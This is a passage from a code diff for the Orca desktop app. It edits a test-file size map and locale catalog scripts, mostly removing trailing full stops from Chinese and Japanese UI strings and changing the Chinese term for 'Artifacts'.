       "src/renderer/src/store/slices/worktrees/teardown/store-worktree-removal-cascade.test.ts": 1786,
       "src/renderer/src/store/slices/worktrees/teardown/tab-worktree-orphan-map-purge-leak.test.ts": 1936,
       "src/renderer/src/store/slices/tabs/tabs-close-dangling-group.test.ts": 1849,
@@ -6803,22 +6554,18 @@
       "src/renderer/src/store/slices/tabs/tabs-model-reconciliation.test.ts": 1800,
       "src/renderer/src/store/slices/tabs/tabs-open-close-lifecycle.test.ts": 2140,
       "src/renderer/src/store/slices/tabs/tabs-pane-layout-operations.test.ts": 1652,
-      "src/renderer/src/store/slices/tabs/tabs-split-create.test.ts": 1733,
       "src/renderer/src/store/slices/tabs/tabs-unread-and-focus.test.ts": 1801,
       "src/renderer/src/store/slices/tabs/structured-chat-close-owner.test.ts": 1866,
       "src/renderer/src/store/slices/tabs/tabs-reconciliation-empty-groups.test.ts": 1703,
       "src/renderer/src/store/terminals/terminal-layout-pty-ownership.test.ts": 1734,
       "src/renderer/src/store/terminals/terminal-pane-detach-agent-identity.test.ts": 1627,
-      "src/renderer/src/store/terminals/terminal-pane-detach-agent-retention.test.ts": 2846,
       "src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts": 1751,
       "src/renderer/src/store/terminals/terminal-quick-command-hosts.test.ts": 1759,
       "src/renderer/src/store/terminals/terminal-tab-owner-index.test.ts": 50,
       "src/renderer/src/store/terminals/terminal-tab-recovery-remount.test.ts": 1791,
       "src/renderer/src/store/terminals/terminal-tab-retirement-store.test.ts": 1955,
-      "src/renderer/src/store/terminals/terminal-tab-title-batch.test.ts": 1749,
       "src/renderer/src/store/terminals/terminals-hydration-canonical-pty-overlap.test.ts": 1946,
       "src/renderer/src/store/terminals/terminals-hydration-canonical-rows.test.ts": 1680,
-      "src/renderer/src/store/slices/ui/ui-agent-send-target.test.ts": 760,
       "src/renderer/src/store/slices/ui/ui-host-filter-sync.test.ts": 597,
       "src/renderer/src/store/slices/ui/ui-host-workspace-statuses.test.ts": 1695,
       "src/renderer/src/store/slices/ui/ui-modal-slot-dismissal.test.ts": 662,
@@ -6855,13 +6602,9 @@
       "src/renderer/src/store/slices/worktrees/metadata/worktrees-git-identity-twin-host.test.ts": 1342,
       "src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts": 1274,
       "src/renderer/src/store/slices/worktrees/session/worktrees-identity-migration.test.ts": 1412,
-      "src/renderer/src/store/slices/worktrees/metadata/worktrees-lineage-state.test.ts": 1133,
       "src/renderer/src/store/slices/worktrees/metadata/worktrees-linked-review-push-target.test.ts": 1186,
       "src/renderer/src/store/slices/worktrees/metadata/worktrees-multiple-attachments.test.ts": 1132,
       "src/renderer/src/store/slices/worktrees/create/worktrees-pending-creation-state.test.ts": 1132,
-      "src/renderer/src/store/slices/worktrees/teardown/worktrees-purge-terminal-state.test.ts": 1133,
-      "src/renderer/src/store/slices/worktrees/create/worktrees-remote-runtime-create.test.ts": 1244,
-      "src/renderer/src/store/slices/worktrees/teardown/worktrees-remote-runtime-removal.test.ts": 1227,
       "src/renderer/src/store/slices/worktrees/teardown/worktrees-removal-state-cleanup.test.ts": 1229,
       "src/renderer/src/store/slices/worktrees/listing/worktrees-runtime-connection-generation-fence.test.ts": 1240,
       "src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-exact-observation.test.ts": 1201,
@@ -6889,7 +6632,6 @@
       "src/renderer/src/store/terminals/workspace-terminal-placeholders.test.ts": 302,
       "src/renderer/src/store/slices/runtime-status/views/use-runtime-status-view.test.tsx": 1979,
       "src/renderer/src/store/workspace-layout/workspace-layout-cache.test.ts": 63,
-      "src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-store-patch.test.ts": 2284,
       "src/renderer/src/store/slices/worktrees/listing/worktree-host-collision-index.test.ts": 1875,
       "src/renderer/src/web/preload-api/web-agent-session-attachment-upload.test.ts": 1588,
       "src/renderer/src/web/preload-api/web-chat-permission-normalization.test.ts": 293,
@@ -7852,10 +7594,8 @@
       "tests/e2e/agent-launch-cli.unit.test.ts": 2379,
       "tests/e2e/agent-launch-setup-choice.unit.test.ts": 2657,
       "tests/e2e/agent-model-catalog-renderer-cache.unit.test.ts": 2029,
-      "tests/e2e/ai-vault-account-stream.unit.test.ts": 4506,
       "tests/e2e/ai-vault-manual-name-clear.unit.test.ts": 21206,
       "tests/e2e/automation-chat-reopen.unit.test.ts": 6262,
-
       "tests/e2e/claude-agent-row-view.unit.test.ts": 1491,
       "tests/e2e/codex-child-approval-activity-row.unit.test.ts": 14886,
       "tests/e2e/completed-worker-retirement-resume.unit.test.ts": 38857,
@@ -7891,20 +7631,16 @@
       "tests/e2e/host-agent-launch-preferences-work.unit.test.ts": 3882,
       "tests/e2e/host-agent-launch-settings-hook-bookkeeping.unit.test.ts": 21972,
       "tests/e2e/host-cold-park-remote-subscriber.unit.test.ts": 5314,
-
       "tests/e2e/launch-agent-background-session-remote.unit.test.ts": 1016,
       "tests/e2e/launch-agent-in-new-tab-web-runtime.unit.test.ts": 14288,
       "tests/e2e/linear-cli-recovery.unit.test.ts": 7592,
       "tests/e2e/linear-store.unit.test.ts": 519,
       "tests/e2e/linear-write-lifetime.unit.test.ts": 5214,
       "tests/e2e/multi-workspace-typing-bench.unit.test.ts": 550,
-      "tests/e2e/native-chat-image-runtime-context.unit.test.ts": 2124,
       "tests/e2e/native-chat-live-history.unit.test.ts": 3258,
       "tests/e2e/native-chat-rewind-boundary.unit.test.ts": 2977,
       "tests/e2e/native-chat-ssh-transcript.unit.test.ts": 1166,
       "tests/e2e/native-chat-startup-option-pickers.unit.test.ts": 9377,
-
-      "tests/e2e/native-chat-transcript-reasoning.unit.test.ts": 3341,
       "tests/e2e/nested-agent-idle-owner.unit.test.ts": 2469,
       "tests/e2e/omp-child-session-recovery.unit.test.ts": 2205,
       "tests/e2e/omp-retired-host-renderer.unit.test.ts": 2546,
@@ -7928,7 +7664,6 @@
       "tests/e2e/source-control-action-phone-launch.unit.test.ts": 746,
       "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts": 413,
       "tests/e2e/structured-agent-session-launch-admission.unit.test.ts": 4762,
-      "tests/e2e/structured-agent-session-launch-continuation.unit.test.ts": 23572,
       "tests/e2e/structured-agent-session-read-owner.unit.test.ts": 6912,
       "tests/e2e/structured-attention-headless-delivery.unit.test.ts": 328,
       "tests/e2e/structured-attention-prompt-relay.unit.test.ts": 14045,
@@ -8018,7 +7753,14 @@
       "src/main/skills/skill-delete/skill-wsl-delete.integration.test.ts": 85,
       "src/main/skills/filesystem/skill-wsl-install-filesystem.test.ts": 60,
       "src/main/skills/install/skill-wsl-install-transaction.integration.test.ts": 250,
-      "src/main/skills/filesystem/skill-wsl-posix-semantics.integration.test.ts": 254
+      "src/main/skills/filesystem/skill-wsl-posix-semantics.integration.test.ts": 254,
+      "src/renderer/src/lib/pane-manager/terminal-scroll/pane-scroll.test.ts": 153,
+      "src/renderer/src/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel.test.ts": 88,
+      "src/renderer/src/lib/pane-manager/pane-layout/pane-tree-equalization-parity.test.ts": 182,
+      "src/renderer/src/lib/pane-manager/terminal-input/terminal-ime-anchor.test.ts": 51,
+      "src/renderer/src/lib/pane-manager/terminal-scroll/terminal-scroll-intent.test.ts": 118,
+      "src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.test.ts": 68,
+      "src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.test.ts": 68
     }
   },
   "e2e": {
diff --git a/config/scripts/locale-catalog/locale-cjk-latin-spaced-terms.mjs b/config/scripts/locale-catalog/locale-cjk-latin-spaced-terms.mjs
index dce911f0a4c..f93d7b5ed70 100644
--- a/config/scripts/locale-catalog/locale-cjk-latin-spaced-terms.mjs
+++ b/config/scripts/locale-catalog/locale-cjk-latin-spaced-terms.mjs
@@ -32,6 +32,9 @@ export const CJK_LATIN_SPACED_TERMS = [
   'Kimi',
   'OpenCode',
   'Orca',
+  'Artifacts',
+  'Artifact',
+  'Relay',
   'Cursor',
   'Bitbucket',
   'Tailscale',
diff --git a/config/scripts/locale-catalog/locale-ja-unified-values.mjs b/config/scripts/locale-catalog/locale-ja-unified-values.mjs
index bd099f9be7b..c85b2d93793 100644
--- a/config/scripts/locale-catalog/locale-ja-unified-values.mjs
+++ b/config/scripts/locale-catalog/locale-ja-unified-values.mjs
@@ -152,7 +152,7 @@ export const JA_UNIFIED_VALUES = {
   'The GitLab CLI is installed but not authenticated. Run this command in a terminal:':
     'GitLab CLI はインストールされていますが、認証されていません。ターミナルで次のコマンドを実行してください:',
   'Install GitLab CLI': 'GitLab CLI をインストール',
-  'CLI.': 'CLI。',
+  'CLI.': 'CLI',
   'The GitHub CLI is installed but not authenticated. Run this command in a terminal:':
     'GitHub CLI はインストールされていますが、認証されていません。ターミナルで次のコマンドを実行してください:',
   'Install GitHub CLI': 'GitHub CLI をインストール',
diff --git a/config/scripts/locale-catalog/locale-key-overrides.mjs b/config/scripts/locale-catalog/locale-key-overrides.mjs
index 625c59ae173..8947fb2fee8 100644
--- a/config/scripts/locale-catalog/locale-key-overrides.mjs
+++ b/config/scripts/locale-catalog/locale-key-overrides.mjs
@@ -116,7 +116,7 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.settings.SettingsSidebar.82db1b7de4': {
     ko: '온보딩 체크리스트, {{value0}}/{{value1}} 완료. 설정 가이드 보기.',
-    zh: '入门清单，已完成 {{value0}}/{{value1}}。显示设置指南。',
+    zh: '入门清单，已完成 {{value0}}/{{value1}}。显示设置指南',
     ja: 'オンボーディングチェックリスト、{{value0}}/{{value1}} 完了。セットアップガイドを表示。'
   },
   'auto.components.settings.ShortcutFilterRail.02dc7d4251': {
@@ -307,12 +307,12 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'settings.appearance.statusBar.kimiToggleDescription': {
     ko: '활성 워크스페이스의 Kimi 구독 사용량을 표시합니다.',
-    zh: '显示当前工作区的 Kimi 订阅使用情况。',
+    zh: '显示当前工作区的 Kimi 订阅使用情况',
     ja: 'アクティブなワークスペースの Kimi サブスクリプション使用状況を表示します。'
   },
   'auto.components.mobile.MobileHero.cd4e5e816f': {
     ko: '주머니 속의 워크스페이스.',
-    zh: '您的工作区就在您的口袋里。',
+    zh: '您的工作区就在您的口袋里',
     ja: 'ワークスペースをポケットに。'
   },
   'auto.components.GitHubItemDialog.dbe5e2448e': {
@@ -332,12 +332,12 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.JiraIssueWorkspace.857bd2f88f': {
     ko: '선택한 이슈를 미리보기하고, 편집하고, 작업을 시작하세요.',
-    zh: '预览、编辑并从选定的议题开始工作。',
+    zh: '预览、编辑并从选定的议题开始工作',
     ja: '選択したイシューをプレビュー・編集し、そこから作業を開始します。'
   },
   'auto.components.LinearIssueWorkspace.ad5dec37b7': {
     ko: '선택한 이슈를 미리보기하고, 편집하고, 작업을 시작하세요.',
-    zh: '预览、编辑并从选定的议题开始工作。',
+    zh: '预览、编辑并从选定的议题开始工作',
     ja: '選択したイシューをプレビュー・編集し、そこから作業を開始します。'
   },
   'auto.components.TaskPage.67662ade50': {
@@ -352,12 +352,12 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.TaskPage.1e1b2ad8f2': {
     ko: '이 이슈를 등록하기 전에 프로젝트 워크스페이스에서 팀을 선택하세요.',
-    zh: '在提交此议题之前，请从项目工作区选择一个团队。',
+    zh: '在提交此议题之前，请从项目工作区选择一个团队',
     ja: 'このイシューを登録する前に、プロジェクトワークスペースからチームを選択してください。'
   },
   'auto.components.TaskPage.94d900518d': {
     ko: '선택한 프리셋과 일치하는 이슈가 없습니다.',
-    zh: '没有与所选预设匹配的议题。',
+    zh: '没有与所选预设匹配的议题',
     ja: '選択したプリセットに一致するイシューはありません。'
   },
   'auto.components.linear.project.view.surfaces.3ad562bdf4': {
@@ -392,7 +392,7 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.onboarding.OnboardingFlow.04ae28d8ca': {
     ko: '몇 시간 내내 보고 싶은 테마를 선택하세요.',
-    zh: '选择你想盯着看几个小时的主题。',
+    zh: '选择你想盯着看几个小时的主题',
     ja: '何時間も眺めていたくなるテーマを選んでください。'
   },
   'auto.components.GitLabItemDialog.e089f62594': {
@@ -402,12 +402,12 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.right.sidebar.source.control.primary.action.3d5dccef0b': {
     ko: '커밋할 것이 없습니다. PR은 이미 병합되었습니다.',
-    zh: '没有可提交的内容。PR 已合并。',
+    zh: '没有可提交的内容。PR 已合并',
     ja: 'コミットするものはありません。PR はすでにマージされています。'
   },
   'auto.components.settings.integrations.search.16a486a49d': {
     ko: 'Linear에 연결해 이슈를 탐색하고 연결합니다.',
-    zh: '连接 Linear 以浏览和链接议题。',
+    zh: '连接 Linear 以浏览和链接议题',
     ja: 'Linear に接続してイシューを参照し、リンクします。'
   },
   'menu.showTitlebarAppName': {
@@ -422,7 +422,7 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.lib.fix.checks.agent.launch.9f00d7df0c': {
     ko: '검사 프롬프트가 비어 있습니다. 소스 제어 AI 설정을 업데이트하세요.',
-    zh: '检查提示为空。请更新源代码管理 AI 设置。',
+    zh: '检查提示为空。请更新源代码管理 AI 设置',
     ja: 'チェック プロンプトが空です。ソース管理 AI 設定を更新してください。'
   },
   'auto.components.TaskPage.2af3ab5c58': {
@@ -442,7 +442,7 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.TaskPage.25ff84769a': {
     ko: '이 Linear 컨텍스트와 일치하는 이슈가 없습니다.',
-    zh: '没有议题与此 Linear 上下文匹配。',
+    zh: '没有议题与此 Linear 上下文匹配',
     ja: 'この Linear コンテキストに一致するイシューはありません。'
   },
   'auto.components.GitHubItemDialog.8c45901789': {
@@ -512,7 +512,7 @@ const BASE_LOCALE_KEY_OVERRIDES = {
   },
   'auto.components.GitHubItemDialog.a341343303': {
     ko: '리뷰 댓글이 추가되었습니다.',
-    zh: '已添加评审评论。',
+    zh: '已添加评审评论',
     ja: 'レビューコメントを追加しました。'
   },
   // Port forwarding "Forward" is 転送, not the browser-navigation 進む.
diff --git a/config/scripts/locale-catalog/locale-macos-tcc-key-overrides.mjs b/config/scripts/locale-catalog/locale-macos-tcc-key-overrides.mjs
index d094fb6c249..375e3335e6e 100644
--- a/config/scripts/locale-catalog/locale-macos-tcc-key-overrides.mjs
+++ b/config/scripts/locale-catalog/locale-macos-tcc-key-overrides.mjs
@@ -9,13 +9,13 @@ export const MACOS_TCC_KEY_OVERRIDES = {
     es: 'Los mensajes de permisos de macOS pueden aparecer cuando un agente o una herramienta de terminal que se ejecuta en Orca intenta acceder a archivos protegidos. Concede acceso total al disco en Ajustes para reducir estos avisos.',
     ja: 'Orca で実行中のエージェントやターミナルツールが保護されたファイルにアクセスしようとすると、macOS の権限メッセージが表示されることがあります。これらの確認を減らすには、設定でフルディスクアクセスを許可してください。',
     ko: 'Orca에서 실행 중인 에이전트나 터미널 도구가 보호된 파일에 접근하려고 하면 macOS 권한 메시지가 표시될 수 있습니다. 이러한 요청을 줄이려면 설정에서 전체 디스크 접근 권한을 허용하세요.',
-    zh: '当 Orca 中运行的智能体或终端工具尝试访问受保护的文件时，macOS 可能会显示权限信息。请在“设置”中授予“完全磁盘访问权限”，以减少此类提示。'
+    zh: '当 Orca 中运行的智能体或终端工具尝试访问受保护的文件时，macOS 可能会显示权限信息。请在“设置”中授予“完全磁盘访问权限”，以减少此类提示'
   },
   'auto.components.settings.DeveloperPermissionsPane.7ca17b62c8': {
     es: 'Cuando los agentes que ejecuta Orca leen datos de otras apps, macOS muestra el nombre de Orca porque es el proceso responsable de los comandos de terminal. Concede este permiso a Orca para reducir esos avisos. Después, cierra y vuelve a abrir Orca.',
     ja: 'Orca が実行するエージェントがほかのアプリのデータを読み取ると、ターミナルコマンドの実行元プロセスである Orca の名前が macOS に表示されます。これらの確認を減らすには、Orca にこの権限を許可してください。その後、Orca を終了して再度開いてください。',
     ko: 'Orca가 실행하는 에이전트가 다른 앱의 데이터를 읽으면, macOS는 터미널 명령을 실행하는 프로세스인 Orca를 표시합니다. 이러한 요청을 줄이려면 Orca에 이 권한을 허용하세요. 그런 다음 Orca를 종료했다가 다시 여세요.',
-    zh: '当 Orca 运行的智能体读取其他应用的数据时，macOS 会显示 Orca，因为 Orca 是执行终端命令的进程。请为 Orca 授予此权限，以减少此类提示。然后退出并重新打开 Orca。'
+    zh: '当 Orca 运行的智能体读取其他应用的数据时，macOS 会显示 Orca，因为 Orca 是执行终端命令的进程。请为 Orca 授予此权限，以减少此类提示。然后退出并重新打开 Orca'
   },
   'auto.components.settings.DeveloperPermissionsPane.c566bca278': {
     ko: '전체 디스크 접근 권한',
diff --git a/config/scripts/locale-catalog/locale-value-overrides.mjs b/config/scripts/locale-catalog/locale-value-overrides.mjs
index 6b08bcc811e..025a1833d7d 100644
--- a/config/scripts/locale-catalog/locale-value-overrides.mjs
+++ b/config/scripts/locale-catalog/locale-value-overrides.mjs
@@ -197,8 +197,8 @@ export const LOCALE_VALUE_OVERRIDES = {
     Next: '下一步',
     Beta: '测试版',
     Dismiss: '关闭',
-    Artifacts: '工件',
-    artifacts: '工件',
+    Artifacts: '产物',
+    artifacts: '产物',
     Native: '原生',
     Bundled: '内置',
     Quarter: '季度',
diff --git a/config/scripts/locale-catalog/locale-zh-value-overrides.mjs b/config/scripts/locale-catalog/locale-zh-value-overrides.mjs
index 82c499edec5..dd816f66b0f 100644
--- a/config/scripts/locale-catalog/locale-zh-value-overrides.mjs
+++ b/config/scripts/locale-catalog/locale-zh-value-overrides.mjs
@@ -22,7 +22,7 @@ export const ZH_VALUE_OVERRIDES = {
   reviewer: '评审人',
   review: '评审',
   Review: '评审',
-  'No matching reviewers.': '没有匹配的评审人。',
+  'No matching reviewers.': '没有匹配的评审人',
   'Request up to 15 reviewers': '最多请求 15 名评审人',
   'No reviewers requested.': '未请求评审人',
   'Remove reviewer {{value0}}': '移除评审人 {{value0}}',
@@ -39,8 +39,8 @@ export const ZH_VALUE_OVERRIDES = {
   'Enter a reviewer': '输入评审人',
   'Add reviewer': '添加评审人',
   'No reviewers.': '没有评审人',
-  'Open the PR details to view current reviewers.': '打开 PR 详情以查看当前评审人。',
-  'Review comment added.': '已添加评审评论。',
+  'Open the PR details to view current reviewers.': '打开 PR 详情以查看当前评审人',
+  'Review comment added.': '已添加评审评论',
   'Loading labels': '加载标签',
   // Why: MT rendered the "Pin Tab" action as "引脚标签" (noun reading of "pin"); pair it with 取消固定标签.
   'Pin Tab': '固定标签',
@@ -57,12 +57,12 @@ export const ZH_VALUE_OVERRIDES = {
   'Markdown Review Notes': 'Markdown 评审笔记',
   'Reviewed by': '评审人',
   'Review from': '评审来自',
-  'Reviewer id is unavailable for this GitLab user.': '此 GitLab 用户无法获取评审人 ID。',
-  'Create a {{value0}} to start checks and review.': '创建 {{value0}} 以开始检查和评审。',
+  'Reviewer id is unavailable for this GitLab user.': '此 GitLab 用户无法获取评审人 ID',
+  'Create a {{value0}} to start checks and review.': '创建 {{value0}} 以开始检查和评审',
   'Conflicted files are reviewed separately': '冲突文件单独评审',
   'This review snapshot no longer has any live unresolved conflicts.':
-    '此评审快照不再有任何未解决的实时冲突。',
-  'Skill command copied and inserted below for review.': '技能命令已复制并插入到下方以供评审。',
+    '此评审快照不再有任何未解决的实时冲突',
+  'Skill command copied and inserted below for review.': '技能命令已复制并插入到下方以供评审',
   'Release readiness review': '发布就绪评审',
   'Recurring review': '定期评审',
   Completed: '已完成',
@@ -91,9 +91,9 @@ export const ZH_VALUE_OVERRIDES = {
   'Quick actions': '快捷操作',
   'action recipes': '操作方案',
   'Repository action recipes. Global settings are used until this repository customizes them.':
-    '仓库操作方案。在此仓库自定义之前，将使用全局设置。',
+    '仓库操作方案。在此仓库自定义之前，将使用全局设置',
   'Adds action recipes for Source Control commit, pull request, branch-name, and fix actions.':
-    '为源代码管理的提交、拉取请求、分支命名和修复操作添加操作方案。',
+    '为源代码管理的提交、拉取请求、分支命名和修复操作添加操作方案',
   // Picker siblings are translated; English pins here would regenerate half-Chinese UI.
   Play: '播放',
   Flag: '标记',
@@ -121,39 +121,39 @@ export const ZH_VALUE_OVERRIDES = {
   'floating terminal': '浮动终端',
   'New Issue': '新建议题',
   'No issues match the selected filters. Clear a filter or try different criteria.':
-    '没有议题符合所选筛选条件。请清除筛选条件或尝试其他条件。',
+    '没有议题符合所选筛选条件。请清除筛选条件或尝试其他条件',
   'No issues in this workspace scope. Try searching or adjusting teams.':
-    '此工作区范围内没有议题。请尝试搜索或调整团队。',
+    '此工作区范围内没有议题。请尝试搜索或调整团队',
   'Close as duplicate': '作为重复议题关闭',
   'Reply in this review thread': '在此评审线程中回复',
-  'Failed to add review comment.': '添加评审评论失败。',
+  'Failed to add review comment.': '添加评审评论失败',
   'Localhost Worktree Labels': 'localhost 工作树标签',
   'Open workspace ports as worktree-specific Orca localhost URLs so browser tabs are easier to tell apart.':
-    '将工作区端口作为工作树专属的 Orca localhost URL 打开，便于区分浏览器标签页。',
+    '将工作区端口作为工作树专属的 Orca localhost URL 打开，便于区分浏览器标签页',
   'Permanently deletes the remote Git worktrees and their branches. Cannot be undone.':
-    '永久删除远程 Git 工作树及其分支。此操作不可撤销。',
+    '永久删除远程 Git 工作树及其分支。此操作不可撤销',
   'Clears them from Orca only. Remote files, worktrees, and branches are left untouched.':
-    '仅从 Orca 中清除。远程文件、工作树和分支均不受影响。',
+    '仅从 Orca 中清除。远程文件、工作树和分支均不受影响',
   'GitHub reports this pull request is blocked': 'GitHub 报告此拉取请求已被阻塞',
   'GitHub requires review approval before this pull request can merge':
     'GitHub 需要评审批准才能合并此拉取请求',
   'Used by repositories that inherit global hosted-review defaults.':
-    '由继承全局托管评审默认值的仓库使用。',
+    '由继承全局托管评审默认值的仓库使用',
   'Use review template when available': '可用时使用评审模板',
   'Create hosted reviews as drafts unless changed in the composer.':
-    '除非在编辑器中更改，否则将托管评审创建为草稿。',
-  'Start an agent from failed hosted-review checks.': '从失败的托管评审检查中启动智能体。',
+    '除非在编辑器中更改，否则将托管评审创建为草稿',
+  'Start an agent from failed hosted-review checks.': '从失败的托管评审检查中启动智能体',
   'Checks require a Git branch and hosted review context': '检查需要 Git 分支和托管评审上下文',
   'Resolve Review Conflicts With AI': '使用 AI 解决评审冲突',
   'Hosted review operation in progress…': '托管评审操作进行中…',
   'Hosted review creation defaults': '托管评审创建默认值',
   'Open hosted review after creation': '创建后打开托管评审',
   'Hosted review creation defaults used when the hosted review editor opens.':
-    '打开托管评审编辑器时使用的托管评审创建默认值。',
+    '打开托管评审编辑器时使用的托管评审创建默认值',
   'Run hosted review detail generation once when the editor opens.':
-    '编辑器打开时运行一次托管评审详情生成。',
+    '编辑器打开时运行一次托管评审详情生成',
   'Show local Markdown review notes controls in rich editor mode.':
-    '在富文本编辑器模式下显示本地 Markdown 评审笔记控件。',
+    '在富文本编辑器模式下显示本地 Markdown 评审笔记控件',
   'Orca IDE': 'Orca IDE',
   'Orca first': 'Orca 优先',
   'Orca Mobile': 'Orca Mobile',
@@ -169,57 +169,57 @@ export const ZH_VALUE_OVERRIDES = {
   'Active Codex Account': '活跃 Codex 账户',
   'Claude Accounts': 'Claude 账户',
   'Remove Claude Account?': '删除 Claude 账户？',
-  'Claude account updated.': 'Claude 账户已更新。',
-  'Claude account update failed.': 'Claude 账户更新失败。',
-  'Could not load Claude accounts.': '无法加载 Claude 账户。',
-  'Claude sign-in failed.': 'Claude 登录失败。',
-  'Claude account added.': '已添加 Claude 账户。',
+  'Claude account updated.': 'Claude 账户已更新',
+  'Claude account update failed.': 'Claude 账户更新失败',
+  'Could not load Claude accounts.': '无法加载 Claude 账户',
+  'Claude sign-in failed.': 'Claude 登录失败',
+  'Claude account added.': '已添加 Claude 账户',
   'Claude Code session started': 'Claude Code 会话已开始',
   'Codex session started': 'Codex 会话已开始',
   'Enable Codex': '启用 Codex',
-  'Most recent local Codex sessions in this scope.': '此范围内最近的本地 Codex 会话。',
+  'Most recent local Codex sessions in this scope.': '此范围内最近的本地 Codex 会话',
   'Hosted-review creation defaults': '托管评审创建默认值',
-  'Defaults used when the hosted-review composer opens.': '打开托管评审编辑器时使用的默认值。',
+  'Defaults used when the hosted-review composer opens.': '打开托管评审编辑器时使用的默认值',
   'Run hosted-review detail generation once when the composer opens.':
-    '编辑器打开时运行一次托管评审详情生成。',
+    '编辑器打开时运行一次托管评审详情生成',
   'Show local markdown review note controls in rich editor mode.':
-    '在富文本编辑器模式下显示本地 Markdown 评审笔记控件。',
+    '在富文本编辑器模式下显示本地 Markdown 评审笔记控件',
   'Start an agent for local or hosted-review merge conflicts.':
-    '启动用于解决本地或托管评审合并冲突的智能体。',
+    '启动用于解决本地或托管评审合并冲突的智能体',
   'changed since you last approved. Re-review before it runs':
     '自您上次批准以来已发生变化。运行前请重新评审',
   'Run the weekly dependency audit and summarize risky changes.':
-    '每周运行依赖项审计并总结有风险的更改。',
+    '每周运行依赖项审计并总结有风险的更改',
   'This turns on a process-wide Electron networking switch after restart. Use it for corporate VPNs or proxies that reject HTTP/2 update downloads.':
-    '这将在重启后启用进程级 Electron 网络开关。适用于拒绝 HTTP/2 更新下载的企业 VPN 或代理。',
+    '这将在重启后启用进程级 Electron 网络开关。适用于拒绝 HTTP/2 更新下载的企业 VPN 或代理',
   'Use only when a corporate VPN or proxy breaks update downloads with HTTP/2 protocol errors. It affects all Electron networking after restart.':
-    '仅当企业 VPN 或代理因 HTTP/2 协议错误而中断更新下载时使用。重启后会影响所有 Electron 网络。',
+    '仅当企业 VPN 或代理因 HTTP/2 协议错误而中断更新下载时使用。重启后会影响所有 Electron 网络',
   'Use HTTP/1.1 for Electron networking when HTTP/2 fails behind a proxy.':
-    '当 HTTP/2 在代理后面失败时，使用 HTTP/1.1 进行 Electron 网络。',
+    '当 HTTP/2 在代理后面失败时，使用 HTTP/1.1 进行 Electron 网络',
   'Proxy Bypass Rules': '代理绕过规则',
-  'Hosts that should bypass the configured HTTP proxy.': '应绕过配置的 HTTP 代理的主机。',
+  'Hosts that should bypass the configured HTTP proxy.': '应绕过配置的 HTTP 代理的主机',
   'Leave empty to use system proxy settings and inherited proxy environment variables.':
-    '留空以使用系统代理设置和继承的代理环境变量。',
+    '留空以使用系统代理设置和继承的代理环境变量',
   'Proxy Command': '代理命令',
   "Give agents direct access to Orca's browser so they can test pages, capture screenshots, and act on what they see.":
-    '让智能体直接访问 Orca 的浏览器，以便测试页面、捕获屏幕截图并根据所见内容执行操作。',
+    '让智能体直接访问 Orca 的浏览器，以便测试页面、捕获屏幕截图并根据所见内容执行操作',
   'X finishes, send it the review task.”': 'X 完成后，把评审任务发给它。”',
-  'Branch naming, base refs, and Git AI Author.': '分支命名、基础引用和 Git AI Author。',
+  'Branch naming, base refs, and Git AI Author.': '分支命名、基础引用和 Git AI Author',
   'You have unsaved Git AI Author changes. Leaving will discard them.':
-    '您有未保存的 Git AI Author 更改。离开将丢弃它们。',
+    '您有未保存的 Git AI Author 更改。离开将丢弃它们',
   'Discard unsaved Git AI Author changes?': '放弃未保存的 Git AI Author 更改？',
-  'Create a Linear project for the selected team.': '为所选团队创建 Linear 项目。',
+  'Create a Linear project for the selected team.': '为所选团队创建 Linear 项目',
   'Linear task mode': 'Linear 任务模式',
-  'Failed to switch Linear workspace.': '无法切换 Linear 工作区。',
-  'Linear project is missing workspace context.': 'Linear 项目缺少工作区上下文。',
+  'Failed to switch Linear workspace.': '无法切换 Linear 工作区',
+  'Linear project is missing workspace context.': 'Linear 项目缺少工作区上下文',
   'No Linear projects found': '未找到 Linear 项目',
   'Unable to load Linear projects': '无法加载 Linear 项目',
   'Change Linear state from {{value0}}': '将 Linear 状态从 {{value0}} 更改为',
   'GitHub & Linear tasks': 'GitHub 和 Linear 任务',
   'Each connected Linear workspace has one key stored by the active runtime. Full-access keys can cover all teams the key owner can access; restricted keys can be replaced any time.':
-    '每个已连接的 Linear 工作区都有一个由活动运行时存储的密钥。全权限密钥可覆盖密钥所有者可访问的所有团队；受限密钥可随时更换。',
+    '每个已连接的 Linear 工作区都有一个由活动运行时存储的密钥。全权限密钥可覆盖密钥所有者可访问的所有团队；受限密钥可随时更换',
   'Show Linear in the Tasks source picker and sidebar shortcuts.':
-    '在任务源选择器和侧边栏快捷方式中显示 Linear。',
+    '在任务源选择器和侧边栏快捷方式中显示 Linear',
   'Local project, Git repo, or folder with many repos': '本地项目、Git 仓库或包含多个仓库的文件夹',
   'Staged Changes': '已暂存的更改',
   Changes: '更改',
@@ -231,12 +231,12 @@ export const ZH_VALUE_OVERRIDES = {
   'Split Terminal Down': '向下拆分终端',
   'Split Terminal Right': '向右拆分终端',
   'Optional account switching for Claude while preserving shared chat context.':
-    'Claude 的可选账户切换，同时保留共享聊天上下文。',
+    'Claude 的可选账户切换，同时保留共享聊天上下文',
   'Countdown timer showing time until prompt cache expires (Claude agents).':
-    '显示提示词缓存到期倒计时的计时器（Claude 智能体）。',
+    '显示提示词缓存到期倒计时的计时器（Claude 智能体）',
   'Claude caches your conversation to reduce costs. When idle too long the cache expires and the next message resends full context at higher cost. This shows a countdown so you know when to resume.':
-    'Claude 会缓存对话以降低成本。空闲过久后缓存会过期，下一条消息将以更高成本重新发送完整上下文。此倒计时可帮助您了解何时继续。',
-  'from Orca. It is still on your disk.': '来自 Orca。它仍保留在您的磁盘上。',
